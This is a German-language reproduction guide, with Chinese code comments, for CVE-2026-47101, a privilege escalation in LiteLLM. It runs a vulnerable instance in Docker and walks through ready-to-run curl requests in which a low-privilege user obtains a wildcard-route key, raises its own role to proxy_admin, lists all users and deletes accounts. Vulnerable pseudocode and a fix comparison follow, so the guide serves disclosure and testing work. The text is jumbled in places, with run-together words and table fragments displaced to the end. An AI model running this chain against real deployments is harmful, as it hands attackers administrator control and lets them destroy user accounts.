
Der Code zur persönlichen Reproduktion der entsprechenden Schwachstelle.
/key/generate + /user/updateBei LiteLLM v1.82.6 (vor Version 1.83.14) erlaubt der
/key/generate-Endpunkt eineminternal_usermit geringen Berechtigungen, einen API-Key mit der Wildcard-Route["/*"]anzufordern und anschließend über den/user/update-Endpunkt die eigene Rolle aufproxy_adminzu erhöhen — eine nicht autorisierte Privilegieneskalation.
| Feld | Wert |
|---|---|
| CVE | CVE-2026-47101 |
| CVSS v3.1 | 8.8 (HIGH) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-863 (Incorrect Authorization) |
| Betroffen | LiteLLM < 1.83.14 (bestätigt in v1.82.6) |
| Behoben | v1.83.14+ (neue allowed_routes-Rollenprüfung) |
| Veröffentlicht | 2026-05-21 |
| Entdeckt von | Fenix Qiao (13ph03nix) — Obsidian Security |
| Links | NVD |
Der /key/generate-Endpunkt von LiteLLM dient zum Generieren von API-Keys, /user/update zum Aktualisieren von Benutzereigenschaften.
Die Autorisierungsprüfungen dieser beiden Endpunkte weisen drei aufeinander aufbauende Schwachstellen auf, die ein Benutzer mit geringen Rechten zu einer Angriffskette verknüpfen kann:
/key/generate validiert allowed_routes nicht — jede Rolle (einschließlich internal_user) kann die Wildcard-Route ["/*"] anfordernallowed_routes-Wildcard-Abgleich zurück — der generierte Wildcard-Key kann auf alle Verwaltungsendpunkte zugreifen/user/update erlaubt die Selbständerung des Felds user_role — mit dem Wildcard-Key kann die eigene Rolle auf proxy_admin erhöht werdeninternal_user
→ POST /key/generate {"allowed_routes": ["/*"]}
→ 获得通配符 API key
→ POST /user/update {"user_id": "...", "user_role": "proxy_admin"}
→ 角色提升为 proxy_admin
→ GET /user/list (使用通配符 key)
→ 验证管理员访问权限
# 1. 启动 PostgreSQL + 有漏洞的 LiteLLM(v1.82.6,digest 固定)
docker compose up -d litellm
# 等待服务就绪(约 10-30 秒)
sleep 15
# 检查容器日志
docker logs litellm-privesc 2>&1 | tail -10
Die erwartete Ausgabe sollte Startmeldungen wie Uvicorn running on http://0.0.0.0:4000 enthalten.
Erstellen Sie mit dem Master-Key ein internal_user-Konto mit geringen Berechtigungen:
curl -s -X POST http://localhost:4000/user/new \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"role": "internal_user"}'
Erwartete Ausgabe:
{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"}
Notieren Sie sich die zurückgegebenen user_id und key; sie werden in den folgenden Schritten benötigt.
Rufen Sie /key/generate als internal_user auf und fordern Sie einen API-Key mit der Wildcard-Route ["/*"] an:
# 将 sk-internal-user-key 替换为上一步获得的 key
curl -s -X POST http://localhost:4000/key/generate \
-H "Authorization: Bearer sk-internal-user-key" \
-H "Content-Type: application/json" \
-d '{"allowed_routes": ["/*"]}'
Erwartete Ausgabe:
{"key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx","allowed_routes":["/*"]}
⚠️ Schwachstelle: Der
internal_userhat erfolgreich einen API-Key mit der Wildcard-Route["/*"]generiert! Dieser Key kann auf alle Verwaltungsendpunkte zugreifen, einschließlich/user/update,/user/listusw.
Rufen Sie /user/update mit dem Wildcard-Key auf, um die Benutzerrolle auf proxy_admin zu erhöhen:
curl -s -X POST http://localhost:4000/user/update \
-H "Authorization: Bearer sk-wildcard-key" \
-H "Content-Type: application/json" \
-d '{"user_id": "your-user-id", "user_role": "proxy_admin"}'
Erwartete Ausgabe:
{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","data":{"user_role":"proxy_admin",...}}
⚠️ Schwachstelle:
user_rolewurde voninternal_useraufproxy_admingeändert! Der/user/update-Endpunkt erlaubt es Benutzern, ihr eigenesuser_role-Feld ohne jegliche Berechtigungsprüfung zu ändern.
Verifizieren Sie über den /user/list-Endpunkt, dass die Rollenerhöhung wirksam wurde:
curl -s -X GET http://localhost:4000/user/list \
-H "Authorization: Bearer sk-wildcard-key"
Erwartete Ausgabe:
{"users":[{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","user_role":"proxy_admin",...}]}
Der
/user/list-Endpunkt ist nur für die Rolleproxy_adminzugänglich. Das erfolgreiche Abrufen der Benutzerliste bestätigt, dass die Rechteerweiterung wirksam ist.
Mit den erlangten proxy_admin-Rechten können über /user/delete beliebige Benutzer gelöscht werden:
curl -s -X POST http://localhost:4000/user/delete \
-H "Authorization: Bearer sk-wildcard-key" \
-H "Content-Type: application/json" \
-d '{"user_ids": ["user-id-to-delete"]}'
Erwartete Ausgabe:
1
Die obigen Schritte wurden zu demo.sh zusammengefasst und können direkt ausgeführt werden:
# 完整复现(包含步骤 1-5)
bash demo.sh
# 同时测试修复版本对比
bash demo.sh --fixed
Starten Sie die behobene Version (v1.83.14-stable), um zu bestätigen, dass die Schwachstelle behoben ist:
# 启动修复版本
docker compose --profile fixed up -d litellm-fixed
# 等待就绪
sleep 15
internal_user erstellen:
FIXED_USER_KEY=$(curl -s -X POST http://localhost:4001/user/new \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"role": "internal_user"}' | \
python3 -c "import sys,json; print(json.load(sys.stdin).get('key',''))")
echo "Fixed user key: $FIXED_USER_KEY"
Versuchen Sie, einen Key mit Wildcard-Route zu generieren (wird erwartungsgemäß blockiert):
curl -s -X POST http://localhost:4001/key/generate \
-H "Authorization: Bearer $FIXED_USER_KEY" \
-H "Content-Type: application/json" \
-d '{"allowed_routes": ["/*"]}'
Erwartete Ausgabe (die behobene Version blockiert die nicht autorisierte Anfrage):
{"error":{"message":"Not allowed","type":"auth_error","code":"403"}}
Vergleich mit der verwundbaren Version:
| Testszenario | Verwundbare Version (v1.82.6) | Behobene Version (v1.83.14) |
|---|
POST /key/generateGeneriert einen neuen API-Key. Der Parameter allowed_routes begrenzt die Liste der Endpunkt-Routen, auf die der Key zugreifen kann.
| Feld | Typ | Erforderlich | Beschreibung |
|---|---|---|---|
allowed_routes | array | Nein | Liste der erlaubten Routen; ["/*"] bedeutet beispielsweise alle Routen |
POST /user/updateAktualisiert Benutzereigenschaften, einschließlich des Felds user_role.
| Feld | Typ | Erforderlich | Beschreibung |
|---|---|---|---|
user_id | string |
Rufen Sie als internal_user /key/generate auf und fordern Sie einen Key mit ["/*"] an:
POST /key/generate
Authorization: Bearer sk-internal-user-key
Content-Type: application/json
{"allowed_routes": ["/*"]}
Die Antwort enthält den neuen API-Key; dieser Key besitzt die Berechtigung für die Wildcard-Route.
Rufen Sie /user/update mit dem Wildcard-Key auf:
POST /user/update
Authorization: Bearer sk-wildcard-key
Content-Type: application/json
{"user_id": "target-user-id", "user_role": "proxy_admin"}
GET /user/list
Authorization: Bearer sk-wildcard-key
Die Grundursache der Schwachstelle liegt in drei separaten fehlenden Autorisierungsprüfungen:
/key/generate — fehlende allowed_routes-RollenprüfungDer /key/generate-Endpunkt akzeptiert den Parameter allowed_routes und verknüpft ihn direkt mit dem Key, ohne die Rolle des Anforderers zu prüfen. Selbst ein internal_user kann Routenberechtigungen auf Administratorebene anfordern.
# 有漏洞的伪代码 — 未校验角色
@app.post("/key/generate")
async def generate_key(params, user_api_key_dict):
# 仅验证了 API key 有效性
# 未检查 user_role 是否允许请求 allowed_routes
allowed_routes = params.get("allowed_routes", [])
new_key = create_key(user=user, allowed_routes=allowed_routes)
return {"key": new_key}
Wenn die Middleware bei der Prüfung der Routenberechtigung feststellt, dass die Autorisierungsprüfung auf Benutzerrollenebene fehlschlägt, fällt sie auf die Prüfung der allowed_routes-Liste des API-Keys zurück. Da ["/*"] alle Routen abdeckt, werden alle Verwaltungsendpunkte freigegeben.
# 有漏洞的伪代码 — 路由检查回退逻辑
async def authorize_request(request, api_key):
# 用户角色检查失败后回退到 allowed_routes
if not user_role_authorized(request, api_key.user):
# 检查 allowed_routes — ["/*"] 匹配所有
if not any(match_route(route, request.path) for route in api_key.allowed_routes):
return HTTP_403
return HTTP_200
/user/update — Selbständerung von user_role erlaubtBeim Aktualisieren von Benutzereigenschaften über den /user/update-Endpunkt dürfen Benutzer ihr eigenes user_role-Feld ohne Einschränkung ändern. Nur die Rolle proxy_admin sollte das Recht haben, Benutzerrollen zu ändern.
# 有漏洞的伪代码 — 未限制 user_role 修改
@app.post("/user/update")
async def update_user(params, user_api_key_dict):
user_id = params.get("user_id")
updates = {}
if "user_role" in params:
updates["user_role"] = params["user_role"] # 未做权限校验!
update_user_in_db(user_id, updates)
return {"user_id": user_id, "data": updates}
Die behobene Version ergänzt Autorisierungsprüfungen in den folgenden drei Bereichen:
/key/generate — Neue Validierung des Parameters allowed_routes: Normale Benutzer können keine Routenberechtigungen auf Administratorebene anfordernallowed_routes hat/user/update — Die Änderungsberechtigung für das Feld user_role wurde eingeschränkt: Nur proxy_admin darf Benutzerrollen ändernCVE-2026-47101/
├── README.md # This file
├── CVE-2026-47101_漏洞复现报告.docx # Reproduction report (Chinese)
├── docker-compose.yml # PostgreSQL + vulnerable/fixed LiteLLM
├── config.yaml # LiteLLM config with database connection
├── requirements.txt # Python dependencies
├── demo.sh # One-click reproduction script
├── exploit/
│ ├── exploit.py # Python exploit script
│ └── payload.py # Payload builders
├── docs/
└── screenshots/
allowed_routes durch/user/update-Aufrufe mit user_role-Änderungen auf auffällige AktivitätenHaftungsausschluss: Dieser Inhalt dient ausschließlich Bildungszwecken und autorisierten Sicherheitstests.
internal_user fordert ["/*"] an | ✅ Wildcard-Key erfolgreich generiert | ❌ Blockiert (HTTP 403) |
| Wildcard-Key ändert user_role | ✅ Erfolgreich zu proxy_admin erhöht | ❌ Blockiert |
| Wildcard-Key greift auf /user/list zu | ✅ Benutzerliste erfolgreich abgerufen | ❌ Blockiert |
| Ja |
| Die ID des zu aktualisierenden Benutzers |
user_role | string | Ja | Neue Rolle (z. B. proxy_admin) |